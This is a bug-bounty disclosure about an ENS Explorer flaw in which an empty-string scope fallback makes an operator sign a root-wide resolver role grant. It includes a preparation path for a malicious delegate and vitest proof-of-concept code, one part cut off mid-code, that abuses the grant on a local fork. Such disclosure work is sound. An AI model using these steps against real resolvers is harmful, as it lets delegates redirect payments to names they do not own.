Explorer causes a connected wallet to grant a delegate resolver control over every name instead of one
The Explorer's resolver roles sidebar discards the per-name scope the indexer supplies and re-derives it from the resolver's current node list, falling back to an empty string that the transaction builder treats as ROOT. An operator editing a delegate's role row could therefore sign a grantRootRoles call giving that delegate authority over every name the resolver serves, rather than the single name shown.
- Disclosed after under an hour
92602 w a critical explorer causes a connected wallet to grant a delegate resolver control over every name instead of one
Submitted on Sep 10th 2026 at 21:08:30 UTC by @v4rvl for Audit Competition | ENS
- Report ID: #92602
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address
Description
Summary
The resolver Roles table aggregates every EAC resource an account holds roles on into a single row, then throws away the per-resource scope and re-derives one name from an unrelated list. groupRolesByAccount resolves each role row's scope by looking its resource hash up in a map built from the resolver's indexed nodes, ignoring the name the indexer already returned on the role row itself. Any role whose resource is not in nodes contributes no name at all. ResolverRolesSidebar then reduces the row to one scope with resolvedNames.find((n) => n !== '(root)') ?? '', and the empty string is the sentinel that prepareGrantResolverRolesTransaction treats as ROOT. A grant the operator makes from that row is encoded as grantRootRoles(bitmap, account) - authority over every name the resolver serves, with no name anywhere in the calldata. Submitted on a local Sepolia fork against a real PermissionedResolver deployed by the Explorer's own deploy intent, that grant let the delegate write addr(60) on a second name of the operator's that appears nowhere in the calldata: getAddressRecord for that name moved from null to 0x00000000000000000000000000000000defEc7ED while the registry still returned the operator as its owner. With the correctly scoped authorizeNameRoles grant, the identical setAddr on that second name reverts and it still resolves to null. The same single-scope reduction runs in the other direction: a row that includes a root resource renders the caption "Global roles (all names)" while the revoke it builds is scoped to one name, and "Remove user ... from all roles" revokes the union of the account's roles on exactly one of the names the row lists.
Root cause
Three lines, in three files.
1. The scope the indexer supplied is discarded. apps/portal/src/features/resolver/hooks/useResolverOverview.ts:14-22 - every role row carries its own name:
export type ResolverRole = {
readonly account: string
readonly resource: string
readonly roleBitmap: string
readonly blockNumber: number
readonly transactionHash: string | null
readonly timestamp: number | null
readonly name: string | null
}
apps/portal/src/lib/roles/resolverRoles.ts:193-204 never reads it. It re-derives the name from resourceToName at :197, and drops the scope entirely when that lookup misses:
for (const role of roles) {
const account = role.account.toLowerCase()
const resource = role.resource.toLowerCase()
const decoded = decodeResolverRoleBitmap(role.roleBitmap)
const resolvedName = resourceToName?.get(resource) ?? null
const existing = grouped.get(account)
if (existing) {
existing.roles.push(role)
existing.decodedRoles.push(...decoded)
if (resolvedName) existing.resolvedNames.add(resolvedName)
resourceToName is built only from the resolver's nodes - apps/portal/src/features/resolver/components/ResolverRolesTable.tsx:102-105:
const data = useMemo(
() => groupRolesByAccount(roles, buildResourceToNameMap(nodes)),
[roles, nodes],
)
nodes is the set of names currently pointing at this resolver (useResolverOverview.ts:75-85). A name that has roles authorised but is not pointed at the resolver - authorised ahead of the resolver change, or left behind after one - is absent from nodes, so its role row resolves to no name.
2. The many-to-one reduction, with ROOT as the fallback. apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:167-169:
const resolvedNames = row?.original.resolvedNames ?? []
const roleName = resolvedNames.find((n) => n !== '(root)') ?? ''
roleName is the only scope that reaches the transaction builders (:299, :318).
3. The empty string is the ROOT sentinel. apps/portal/src/features/resolver/helpers/grantResolverRoles.ts:45-60:
const writeParams = grantResolverRolesWriteParameters(
walletClient as Parameters<typeof grantResolverRolesWriteParameters>[0],
name === ''
? {
resolverAddress,
targetAccount: account,
scope: 'root',
roles,
}
: {
resolverAddress,
targetAccount: account,
scope: 'name',
name,
roles,
},
)
scope: 'root' encodes grantRootRoles(roleBitmap, targetAccount) (@ensdomains/ensjs/src/actions/wallet/v2/grantResolverRoles.ts:114-120), whose own doc comment reads "Grant roles globally (any name, any record type)" (:46-47). apps/portal/src/features/resolver/helpers/revokeResolverRoles.ts is the mirror image.
The UI never states the widened scope. ResolverRolesSidebar.tsx:391-397 renders the scope caption only when the row has at least one resolved name:
{selectedAccount && resolvedNames.length > 0 && (
<p className="text-sm text-muted-foreground">
{resolvedNames.includes('(root)')
? 'Global roles (all names)'
: `Roles scoped to ${resolvedNames.filter((n) => n !== '(root)').join(', ')}`}
</p>
)}
so the exact case that grants at ROOT is the case that renders no scope statement at all. ResolverRolesTable.tsx:68-71 behaves the same way in the "Name" column (if (names.length === 0) return null).
Steps to reproduce
- A permissioned resolver
Rserves several names of an operator:victim.eth,shop.victim.eth,treasury.victim.eth. - The operator authorises delegate
DforROLE_SET_ADDRonblog.victim.ethinR. The operator also delegates the ordinary registryROLE_SET_RESOLVERpermission forblog.victim.ethtoD, a normal operational role that the Portal exposes at/$name/change-resolver. Duses that production route to setblog.victim.ethto another valid resolver.PermissionedRegistry.setResolverchecks only the registry role and does not revoke EAC roles stored in the old resolver.blog.victim.eththerefore disappears fromR's currentnodeswhile its name-scoped role row remains inR's indexed role history.- The operator opens
/resolver/R/roles.D's row lists the held roles; the "Name" column is blank because the row's resource is not found innodes. - The operator clicks edit. The sidebar shows
D's permission checkboxes and no scope caption. The operator makes a normal edit, such as adding "Set Text" to the existing "Set Address" permission, and clicks Save. - The wallet is asked to sign a call to
R. The Explorer's step is titled "Save resolver role changes" / "Update roles for 0x...". The calldata isgrantRootRoles(0x11, D), even though the operator never selected root scope. Dnow holdsROLE_SET_ADDRandROLE_SET_TEXTat the resolver root.DcallssetAddr(namehash("shop.victim.eth"), 60, <D's address>)onR. It succeeds, and forward resolution ofshop.victim.ethreturnsD's address while the registry still names the operator as owner. Executed on the fork below with two names of one operator; the second name is the one that was never delegated.
How a malicious delegate prepares the stale row
This state does not require forged indexer data or a privileged deployment actor. The exact normal production path is:
- The operator gives
Da name-scoped resolver role onRand, for the same name, the ordinary registryROLE_SET_RESOLVERpermission. ENSv2 keeps these permissions in separate contracts. Dopens the Portal's/$name/change-resolverroute. Its role query gates the page onROLE_SET_RESOLVER(apps/portal/src/routes/$name/change-resolver.tsx:47-55,98-121). The form accepts a custom resolver address (apps/portal/src/features/resolver/components/ChangeResolverForm.tsx:108-126,218-232) and submitssetResolver(anyId, resolverAddress)(apps/portal/src/features/resolver/helpers/changeResolver.ts:55-76).- On-chain,
PermissionedRegistry.setResolverchecks only the registry role and writes the resolver pointer (contracts/src/registry/PermissionedRegistry.sol:137-141,565-577). The oldPermissionedResolverrole remains becauseauthorizeNameRolesstores it by name resource and does not require current registry membership (contracts/src/resolver/PermissionedResolver.sol:249-276). - The name is now absent from
R.nodes, but the role row still carries the name in the indexer result (apps/portal/src/features/resolver/hooks/useResolverOverview.ts:12-20,84-92). The Portal ignores that field and resolves scope from current nodes only, so the operator sees a blank Name column and no scope warning.
The operator's subsequent edit is a normal wallet workflow. The operator can add another manager permission to the displayed delegate and click Save without ever selecting root scope. The sidebar passes the empty sentinel, and the helper's documented empty-name branch encodes grantRootRoles. The malicious delegate controls the hidden scope input by preparing the stale row; the operator still supplies the intended role edit and signature. This is the Critical row's modifying- transaction-arguments predicate, not a claim that the attacker can forge the operator's signature.
Mirror case, no absent name required:
Dholds a root role and a name-scoped role onblog.victim.eth.- The sidebar caption reads "Global roles (all names)".
- The operator unticks the permission and clicks Save. The calldata is
authorizeNameRoles(dnsEncode("blog.victim.eth"), 0x1, D, false). D's root role is untouched. The Explorer reports the transaction as successful.
Proof of Concept
Proof of concept
/**
* Resolver role-grant scope collapses to ROOT.
*
* Drives the real production functions:
* - lib/roles/resolverRoles.ts buildResourceToNameMap / groupRolesByAccount / computeNameResource
* - features/resolver/components/ResolverRolesSidebar.tsx:169 (the roleName expression, reproduced verbatim)
* - features/resolver/helpers/grantResolverRoles.ts prepareGrantResolverRolesTransaction
* - features/resolver/helpers/revokeResolverRoles.ts prepareRevokeResolverRolesTransaction
*
* Nothing about the outcome is mocked: the only mock is a local viem wallet
* client, which supplies the signer identity and chain, never the scope
* decision under test. The assertions decode the real calldata.
*/
import { describe, expect, it } from 'vitest'
import { createWalletClient, decodeFunctionData, http, toHex } from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import { sepolia } from 'viem/chains'
import { packetToBytes } from 'viem/ens'
import {
permissionedResolverAuthorizeNameRolesSnippet,
permissionedResolverGrantRootRolesSnippet,
} from '@ensdomains/ensjs-abi/v2/permissionedResolver'
import {
buildResourceToNameMap,
computeNameResource,
groupRolesByAccount,
} from '@/lib/roles/resolverRoles'
import { prepareGrantResolverRolesTransaction } from '@/features/resolver/helpers/grantResolverRoles'
import { prepareRevokeResolverRolesTransaction } from '@/features/resolver/helpers/revokeResolverRoles'
const RESOLVER = '0xe7B9A25607E02da8145E4eB1836CA539e53F11f7' as const
const DELEGATE = '0x000000000000000000000000000000000dEfeC70' as const
const walletClient = createWalletClient({
account: privateKeyToAccount(
'0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d',
),
chain: sepolia,
transport: http('http://127.0.0.1:8546'),
})
/** Verbatim from ResolverRolesSidebar.tsx:169. */
const roleNameFromRow = (resolvedNames: readonly string[]): string =>
resolvedNames.find((n) => n !== '(root)') ?? ''
/**
* One indexer role row. The indexer returns `name` per row
* (useResolverOverview.ts:21 `readonly name: string | null`); the production
* grouping function never reads it.
*/
const roleRow = (account: string, name: string, roleBitmap: string) => ({
account,
resource: computeNameResource(name),
roleBitmap,
name,
})
const ROLE_SET_ADDR_BITMAP = (1n << 0n).toString()
describe('resolver role scope', () => {
it('DEFECT: a name-scoped role whose name is absent from `nodes` grants at ROOT', () => {
// The delegate holds ROLE_SET_ADDR scoped to exactly one name.
const roles = [
roleRow(DELEGATE, 'blog.victim.eth', ROLE_SET_ADDR_BITMAP),
]
// The resolver's indexed node list does not contain that name. `nodes` is
// the set of names currently pointing at this resolver; a name that has a
// role authorised but is not (yet / any longer) pointed here is absent.
const nodes = [
{ name: 'victim.eth' },
{ name: 'shop.victim.eth' },
{ name: 'treasury.victim.eth' },
]
const [row] = groupRolesByAccount(roles, buildResourceToNameMap(nodes))
// The name the indexer already supplied is discarded.
expect(roles[0].name).toBe('blog.victim.eth')
expect(row.resolvedNames).toEqual([])
expect(row.resolvedNames.length).toBe(0)
// ResolverRolesTable "Name" column renders null for length 0, and
// ResolverRolesSidebar.tsx:391 skips the scope caption entirely.
const scopeCaptionRendered = row.resolvedNames.length > 0
expect(scopeCaptionRendered).toBe(false)
// The scope that reaches the transaction builder.
const roleName = roleNameFromRow(row.resolvedNames)
expect(roleName).toBe('')
const intent = prepareGrantResolverRolesTransaction({
resolverAddress: RESOLVER,
name: roleName,
account: DELEGATE,
roles: ['ROLE_SET_ADDR', 'ROLE_SET_TEXT'],
walletClient,
chainId: sepolia.id,
})
const decoded = decodeFunctionData({
abi: permissionedResolverGrantRootRolesSnippet,
data: intent.request.data,
})
expect(intent.request.to).toBe(RESOLVER)
expect(decoded.functionName).toBe('grantRootRoles')
// args = [roleBitmap, targetAccount]. No name anywhere in the calldata.
expect(decoded.args?.[1]).toBe(DELEGATE)
expect(intent.request.data.includes(
toHex(packetToBytes('blog.victim.eth')).slice(2),
)).toBe(false)
console.log(
'[DEFECT] scope caption rendered =',
scopeCaptionRendered,
'| roleName =',
JSON.stringify(roleName),
'| function =',
decoded.functionName,
'| calldata =',
intent.request.data,
)
})
it('CONTROL: same row, name present in `nodes` -> authorizeNameRoles', () => {
const roles = [
roleRow(DELEGATE, 'blog.victim.eth', ROLE_SET_ADDR_BITMAP),
]
// ONE load-bearing condition changed: the role's name is in `nodes`.
const nodes = [
{ name: 'victim.eth' },
{ name: 'blog.victim.eth' },
{ name: 'shop.victim.eth' },
{ name: 'treasury.victim.eth' },
]
const [row] = groupRolesByAccount(roles, buildResourceToNameMap(nodes))
expect(row.resolvedNames).toEqual(['blog.victim.eth'])
const roleName = roleNameFromRow(row.resolvedNames)
expect(roleName).toBe('blog.victim.eth')
const intent = prepareGrantResolverRolesTransaction({
resolverAddress: RESOLVER,
name: roleName,
account: DELEGATE,
roles: ['ROLE_SET_ADDR', 'ROLE_SET_TEXT'],
walletClient,
chainId: sepolia.id,
})
const decoded = decodeFunctionData({
abi: permissionedResolverAuthorizeNameRolesSnippet,
data: intent.request.data,
})
expect(decoded.functionName).toBe('authorizeNameRoles')
expect(decoded.args?.[0]).toBe(toHex(packetToBytes('blog.victim.eth')))
expect(decoded.args?.[2]).toBe(DELEGATE)
expect(decoded.args?.[3]).toBe(true)
console.log(
'[CONTROL] roleName =',
JSON.stringify(roleName),
'| function =',
decoded.functionName,
'| dnsEncodedName =',
decoded.args?.[0],
)
})
it('DEFECT: caption says "Global roles (all names)" while revoke is name-scoped', () => {
// The delegate holds a ROOT role AND a name-scoped role.
const roles = [
{ account: DELEGATE, resource: `0x${'0'.repeat(64)}`, roleBitmap: ROLE_SET_ADDR_BITMAP, name: null },
roleRow(DELEGATE, 'blog.victim.eth', ROLE_SET_ADDR_BITMAP),
]
const nodes = [{ name: 'victim.eth' }, { name: 'blog.victim.eth' }]
const [row] = groupRolesByAccount(roles, buildResourceToNameMap(nodes))
// ResolverRolesSidebar.tsx:393-395 - the caption the operator reads.
const caption = row.resolvedNames.includes('(root)')
? 'Global roles (all names)'
: `Roles scoped to ${row.resolvedNames.filter((n) => n !== '(root)').join(', ')}`
expect(caption).toBe('Global roles (all names)')
const roleName = roleNameFromRow(row.resolvedNames)
expect(roleName).toBe('blog.victim.eth')
const intent = prepareRevokeResolverRolesTransaction({
resolverAddress: RESOLVER,
name: roleName,
account: DELEGATE,
roles: ['ROLE_SET_ADDR'],
walletClient,
chainId: sepolia.id,
})
const decoded = decodeFunctionData({
abi: permissionedResolverAuthorizeNameRolesSnippet,
data: intent.request.data,
})
// Operator was told the roles are global; the revoke touches one name.
expect(decoded.functionName).toBe('authorizeNameRoles')
expect(decoded.args?.[0]).toBe(toHex(packetToBytes('blog.victim.eth')))
expect(decoded.args?.[3]).toBe(false)
console.log(
'[DEFECT] caption =',
JSON.stringify(caption),
'| revoke function =',
decoded.functionName,
'| scope =',
JSON.stringify(roleName),
)
})
it('DEFECT: "Remove user from all roles" revokes on one name only', () => {
const roles = [
roleRow(DELEGATE, 'blog.victim.eth', ROLE_SET_ADDR_BITMAP),
roleRow(DELEGATE, 'shop.victim.eth', (1n << 4n).toString()),
]
const nodes = [{ name: 'blog.victim.eth' }, { name: 'shop.victim.eth' }]
const [row] = groupRolesByAccount(roles, buildResourceToNameMap(nodes))
expect(row.resolvedNames).toEqual(['blog.victim.eth', 'shop.victim.eth'])
expect(row.decodedRoles).toEqual(['ROLE_SET_ADDR', 'ROLE_SET_TEXT'])
const roleName = roleNameFromRow(row.resolvedNames)
expect(roleName).toBe('blog.victim.eth')
const intent = prepareRevokeResolverRolesTransaction({
resolverAddress: RESOLVER,
name: roleName,
account: DELEGATE,
roles: row.decodedRoles as never,
walletClient,
chainId: sepolia.id,
})
const decoded = decodeFunctionData({
abi: permissionedResolverAuthorizeNameRolesSnippet,
data: intent.request.data,
})
// One transaction, one name. shop.victim.eth is never named in calldata.
expect(decoded.args?.[0]).toBe(toHex(packetToBytes('blog.victim.eth')))
expect(
intent.request.data.includes(
toHex(packetToBytes('shop.victim.eth')).slice(2),
),
).toBe(false)
console.log(
'[DEFECT] dialog claims "remove this user from all roles"; names in row =',
JSON.stringify(row.resolvedNames),
'| names in calldata = ["blog.victim.eth"]',
)
})
})
Command:
pnpm --filter portal exec vitest run src/portal2_resolver_role_scope.test.ts --reporter=verbose --silent=false
Captured output:
stdout | src/portal2_resolver_role_scope.test.ts > resolver role scope > DEFECT: a name-scoped role whose name is absent from `nodes` grants at ROOT
[DEFECT] scope caption rendered = false | roleName = "" | function = grantRootRoles | calldata = 0x072d5d770000000000000000000000000000000000000000000000000000000000000011000000000000000000000000000000000000000000000000000000000defec70
stdout | src/portal2_resolver_role_scope.test.ts > resolver role scope > CONTROL: same row, name present in `nodes` -> authorizeNameRoles
[CONTROL] roleName = "blog.victim.eth" | function = authorizeNameRoles | dnsEncodedName = 0x04626c6f670676696374696d0365746800
stdout | src/portal2_resolver_role_scope.test.ts > resolver role scope > DEFECT: caption says "Global roles (all names)" while revoke is name-scoped
[DEFECT] caption = "Global roles (all names)" | revoke function = authorizeNameRoles | scope = "blog.victim.eth"
stdout | src/portal2_resolver_role_scope.test.ts > resolver role scope > DEFECT: "Remove user from all roles" revokes on one name only
[DEFECT] dialog claims "remove this user from all roles"; names in row = ["blog.victim.eth","shop.victim.eth"] | names in calldata = ["blog.victim.eth"]
✓ src/portal2_resolver_role_scope.test.ts > resolver role scope > DEFECT: a name-scoped role whose name is absent from `nodes` grants at ROOT 10ms
✓ src/portal2_resolver_role_scope.test.ts > resolver role scope > CONTROL: same row, name present in `nodes` -> authorizeNameRoles 2ms
✓ src/portal2_resolver_role_scope.test.ts > resolver role scope > DEFECT: caption says "Global roles (all names)" while revoke is name-scoped 1ms
✓ src/portal2_resolver_role_scope.test.ts > resolver role scope > DEFECT: "Remove user from all roles" revokes on one name only 1ms
Test Files 1 passed (1)
Tests 4 passed (4)
Start at 22:03:12
Duration 4.14s (transform 489ms, setup 190ms, import 3.20s, tests 16ms, environment 486ms)
Calldata reading, defect case: selector 0x072d5d77 is grantRootRoles(uint256,address); argument 0 is 0x11 (ROLE_SET_ADDR = 1 << 0 OR ROLE_SET_TEXT = 1 << 4); argument 1 is the delegate. The DNS-encoded name 0x04626c6f670676696374696d0365746800 present in the control calldata is absent from the defect calldata - asserted, not eyeballed.
Terminal endpoint - the grant submitted on chain and exercised on a second name
The arm above ends at the calldata. This arm submits that calldata on a local Anvil fork of Sepolia and has the delegate use what it granted, on a name the operator never delegated. The control arm repeats it with the correctly scoped grant.
Save as apps/portal/src/__term2__/term2_resolver_root_scope_onchain.test.ts and run
pnpm --filter portal exec vitest run \
src/__term2__/term2_resolver_root_scope_onchain.test.ts \
--reporter=verbose --silent=false
The resolver is not a stub. It is a real PermissionedResolver proxy deployed by the Explorer's own prepareDeployPermissionedResolverTransaction (apps/portal/src/features/resolver/hooks/useDeployPermissionedResolver.ts:60-77) through the deployed VerifiableFactory at 0x10dC6333CDFe1FCEf624c6e0a8221b91804Cd7ef. The scope that reaches the builder is still derived by the real groupRolesByAccount and the sidebar's own roleName expression, not handed in. The endpoint is getAddressRecord, the same function apps/portal/src/features/transfer/queries/getEthAddress.ts:13 uses to decide the address a transfer is sent to.
/**
* Terminal endpoint - the root-scoped grant the Explorer
* builds is submitted on a local Anvil fork of Sepolia, and the delegate then
* exercises it on a SECOND name the operator never delegated.
*
* Everything that decides the outcome is production code:
* - lib/roles/resolverRoles.ts buildResourceToNameMap / groupRolesByAccount / computeNameResource
* - ResolverRolesSidebar.tsx:169 the roleName expression, reproduced verbatim
* - features/resolver/helpers/grantResolverRoles.ts prepareGrantResolverRolesTransaction
* - features/resolver/hooks/useDeployPermissionedResolver.ts
* prepareDeployPermissionedResolverTransaction
* - @ensdomains/ensjs/public getAddressRecord, the Explorer's own name -> address query
*
* The resolver is a real PermissionedResolver proxy deployed through the
* deployed VerifiableFactory. No transaction is sent to a public network.
*/
import { getAddressRecord } from '@ensdomains/ensjs/public'
import { labelToCanonicalId } from '@ensdomains/ensjs/utils/v2'
import {
type Address,
createPublicClient,
createWalletClient,
decodeEventLog,
decodeFunctionData,
encodeFunctionData,
type Hex,
http,
namehash,
parseAbi,
type PublicClient,
toHex,
} from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import { packetToBytes } from 'viem/ens'
import {
permissionedResolverAuthorizeNameRolesSnippet,
permissionedResolverGrantRootRolesSnippet,
} from '@ensdomains/ensjs-abi/v2/permissionedResolver'
import { describe, expect, it } from 'vitest'
import { prepareGrantResolverRolesTransaction } from '@/features/resolver/helpers/grantResolverRoles'
import { prepareDeployPermissionedResolverTransaction } from '@/features/resolver/hooks/useDeployPermissionedResolver'
import {
buildResourceToNameMap,
computeNameResource,
groupRolesByAccount,
} from '@/lib/roles/resolverRoles'
import { sepoliaWithEns } from '@/lib/wagmi'
const RPC = process.env.TERM2_FORK_RPC ?? 'http://127.0.0.1:8546'
const V2_ETH_REGISTRY: Address = '0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2'
const V2_ETH_REGISTRAR: Address = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'
const VERIFIABLE_FACTORY: Address = '0x10dC6333CDFe1FCEf624c6e0a8221b91804Cd7ef'
/** The resolver operator. A fresh key, so the account carries no 7702 code. */
const OPERATOR_KEY: Hex =
'0x0000000000000000000000000000000000000000000000000000000074657232'
const OPERATOR = privateKeyToAccount(OPERATOR_KEY)
/** The delegate the operator means to authorise on exactly one name. */
const DELEGATE: Address = '0x000000000000000000000000000000000dEfeC70'
/** The address the delegate writes into the second name's `addr(60)`. */
const DELEGATE_PAYOUT: Address = '0x00000000000000000000000000000000DefEc7ed'
const ZERO: Address = '0x0000000000000000000000000000000000000000'
/** ALL_ROLES, as the app writes it in permissionedResolverAddress.ts. */
const ALL_ROLES = BigInt(
'0x1111111111111111111111111111111111111111111111111111111111111111',
)
const pub = createPublicClient({
chain: sepoliaWithEns,
transport: http(RPC),
}) as PublicClient
const ensClient = createPublicClient({
chain: sepoliaWithEns,
transport: http(RPC),
})
const walletClient = createWalletClient({
account: OPERATOR,
chain: sepoliaWithEns,
transport: http(RPC),
})
const rpc = (method: string, params: unknown[]) =>
fetch(RPC, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method, params }),
}).then((r) => r.json() as Promise<{ result?: string; error?: unknown }>)
type SendResult = { ok: boolean; detail?: string }
const send = async (
from: Address,
to: Address,
data: Hex,
gas = '0x2DC6C0',
): Promise<SendResult> => {
const r = await rpc('eth_sendTransaction', [{ from, to, data, gas }])
await rpc('evm_mine', [])
if (!r.result) return { ok: false, detail: JSON.stringify(r.error).slice(0, 220) }
const receipt = await pub.getTransactionReceipt({ hash: r.result as Hex })
return { ok: receipt.status === 'success' }
}
const registryAbi = parseAbi([
'function register(string label, address owner, address registry, address resolver, uint256 roleBitmap, uint64 expiry) returns (uint256)',
'function getOwner(uint256 anyId) view returns (address)',
'function getResolver(string label) view returns (address)',
])
const resolverAbi = parseAbi([
'function setAddr(bytes32 node, uint256 coinType, bytes a)',
'function addr(bytes32 node, uint256 coinType) view returns (bytes)',
'function hasRootRoles(uint256 roleBitmap, address account) view returns (bool)',
'function hasRoles(uint256 resource, uint256 roleBitmap, address account) view returns (bool)',
])
const factoryEventAbi = parseAbi([
'event ProxyDeployed(address indexed sender, address indexed proxyAddress, uint256 salt, address implementation)',
])
/** Verbatim from ResolverRolesSidebar.tsx:169. */
const roleNameFromRow = (resolvedNames: readonly string[]): string =>
resolvedNames.find((n) => n !== '(root)') ?? ''
/** One indexer role row, shaped as useResolverOverview.ts:14-22 declares. */
const roleRow = (account: string, name: string, roleBitmap: string) => ({
account,
resource: computeNameResource(name),
roleBitmap,
name,
})
const ROLE_SET_ADDR = 1n << 0n
const ROLE_SET_TEXT = 1n << 4n
const ROLE_SET_ADDR_BITMAP = ROLE_SET_ADDR.toString()
const fund = async (a: Address) =>
rpc('anvil_setBalance', [a, '0x3635C9ADC5DEA00000'])
/** Deploy a PermissionedResolver with the Explorer's own deploy intent. */
const deployResolver = async (): Promise<Address> => {
const intent = prepareDeployPermissionedResolverTransaction({
from: OPERATOR.address,
chainId: sepoliaWithEns.id,
salt: BigInt(Date.now()) * 1_000_003n,
})
const r = await rpc('eth_sendTransaction', [
{
from: intent.request.from,
to: intent.request.to,
data: intent.request.data,
gas: '0x2DC6C0',
},
])
await rpc('evm_mine', [])
expect(r.result).toBeTruthy()
const receipt = await pub.getTransactionReceipt({ hash: r.result as Hex })
expect(receipt.status).toBe('success')
expect(intent.request.to.toLowerCase()).toBe(VERIFIABLE_FACTORY.toLowerCase())
for (const log of receipt.logs) {
try {
con
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the grouping code ignores the name returned on each role row and instead looks the resource up in a map built only from names currently pointing at the resolver, so a missing lookup yields an empty string that the builder interprets as root scope.
Impact
A delegate could gain authority over every name the resolver serves and change address records on names the operator never delegated, while the registry still shows the operator as owner; the mirror case also revokes only one name while the UI claims global scope.
What the attacker needed
Operator holds names on a permissioned resolver; delegate holds a name-scoped role; delegate can change the name's resolver; operator edits and signs the role change
The fix
The grouping should use the name already returned on each role row and the UI should refuse to build a transaction when the scope is unknown, rather than falling back to root.
How it was found
- The operator authorises a delegate for a name-scoped resolver role and also gives it the registry permission to change resolvers.
- The delegate uses the change-resolver route to point that name at a different resolver, leaving the old role row behind.
- The operator opens the resolver roles page; the delegate's row has a blank Name column and no scope caption.
- The operator edits the delegate's permissions and saves.
- The wallet signs a grantRootRoles call instead of a name-scoped grant.
- The delegate can now set address records on other names of the operator.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A resolver is a contract that stores records like wallet addresses for names. Roles let one account change certain records for certain names. The Explorer showed a delegate's permission for one name but, when the operator saved an edit, built a transaction granting that permission for every name instead. The operator signed what looked like a small change and unknowingly widened the delegate's power.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.